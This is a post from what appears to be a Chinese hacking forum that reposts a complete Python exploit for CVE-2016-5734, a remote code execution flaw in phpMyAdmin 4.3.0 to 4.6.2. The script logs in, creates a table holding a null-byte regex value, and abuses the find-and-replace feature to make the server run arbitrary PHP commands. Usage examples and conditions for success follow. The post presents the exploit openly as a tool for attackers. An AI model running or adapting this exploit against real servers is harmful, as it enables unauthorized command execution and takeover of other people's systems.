搜索
查看: 232|回复: 0

PhpMyAdmin 4.6.2 – Post-Auth Remote Code Execution

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-9-20 12:23:40 | 显示全部楼层 |阅读模式

国外exploitdb放出cve-2016-5734利用EXP。

成功登录PhpMyadmin后可以直接执行命令,是攻击者从Phpmyadmin突破获取权限的又一姿势。

  1. #!/usr/bin/env python

  2. """cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
  3. Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
  4. CVE: CVE-2016-5734
  5. Author: https://twitter.com/iamsecurity
  6. run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
  7. """

  8. import requests
  9. import argparse
  10. import sys

  11. __author__ = "@iamsecurity"

  12. if __name__ == '__main__':
  13.     parser = argparse.ArgumentParser()
  14.     parser.add_argument("url", type=str, help="URL with path to PMA")
  15.     parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
  16.     parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
  17.     parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
  18.     parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
  19.     parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
  20.     arguments = parser.parse_args()
  21.     url_to_pma = arguments.url
  22.     uname = arguments.user
  23.     upass = arguments.pwd
  24.     if arguments.dbs:
  25.         db = arguments.dbs
  26.     else:
  27.         db = "test"
  28.     token = False
  29.     custom_table = False
  30.     if arguments.table:
  31.         custom_table = True
  32.         table = arguments.table
  33.     else:
  34.         table = "prgpwn"
  35.     if arguments.cmd:
  36.         payload = arguments.cmd
  37.     else:
  38.         payload = "system('uname -a');"

  39.     size = 32
  40.     s = requests.Session()
  41.     # you can manually add proxy support it's very simple ;)
  42.     # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
  43.     s.verify = False
  44.     sql = '''CREATE TABLE `{0}` (
  45.       `first` varchar(10) CHARACTER SET utf8 NOT NULL
  46.     ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  47.     INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
  48.     '''.format(table)

  49.     # get_token
  50.     resp = s.post(url_to_pma + "/?lang=en", dict(
  51.         pma_username=uname,
  52.         pma_password=upass
  53.     ))
  54.     if resp.status_code is 200:
  55.         token_place = resp.text.find("token=") + 6
  56.         token = resp.text[token_place:token_place + 32]
  57.     if token is False:
  58.         print("Cannot get valid authorization token.")
  59.         sys.exit(1)

  60.     if custom_table is False:
  61.         data = {
  62.             "is_js_confirmed": "0",
  63.             "db": db,
  64.             "token": token,
  65.             "pos": "0",
  66.             "sql_query": sql,
  67.             "sql_delimiter": ";",
  68.             "show_query": "0",
  69.             "fk_checks": "0",
  70.             "SQL": "Go",
  71.             "ajax_request": "true",
  72.             "ajax_page_request": "true",
  73.         }
  74.         resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
  75.         if resp.status_code == 200:
  76.             if "success" in resp.json():
  77.                 if resp.json()["success"] is False:
  78.                     first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
  79.                     error = first[:first.find("</code>")]
  80.                     if "already exists" in error:
  81.                         print(error)
  82.                     else:
  83.                         print("ERROR: " + error)
  84.                         sys.exit(1)
  85.     # build exploit
  86.     exploit = {
  87.         "db": db,
  88.         "table": table,
  89.         "token": token,
  90.         "goto": "sql.php",
  91.         "find": "0/e\0",
  92.         "replaceWith": payload,
  93.         "columnIndex": "0",
  94.         "useRegex": "on",
  95.         "submit": "Go",
  96.         "ajax_request": "true"
  97.     }
  98.     resp = s.post(
  99.         url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
  100.     )
  101.     if resp.status_code == 200:
  102.         result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
  103.         if len(result):
  104.             print("result: " + result)
  105.             sys.exit(0)
  106.         print(
  107.             "Exploit failed!\n"
  108.             "Try to manually set exploit parameters like --table, --database and --token.\n"
  109.             "Remember that servers with PHP version greater than 5.4.6"
  110.             " is not exploitable, because of warning about null byte in regexp"
  111.         )
  112.         sys.exit(1)
复制代码

使用方法:
  • usage: PhpMyAdmin_RCE.py [-h] [-c CMD] -u USER -p PWD [-d DBS] [-T TABLE] url
  • 如:
    PhpMyAdmin_RCE.py -u root -p "" http://localhost/phpmyadmin/ -c "system('id')"
  • 重复执行可删除脚本创建的prgpwn表。#1050 - Table 'prgpwn' already exists;不理睬也ok。
利用条件:
  • 1、授权用户;
    2、phpmyadmin4.3.0-4.6.2 ;
    3、Working only at PHP 4.3.0-5.4.6 versions


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表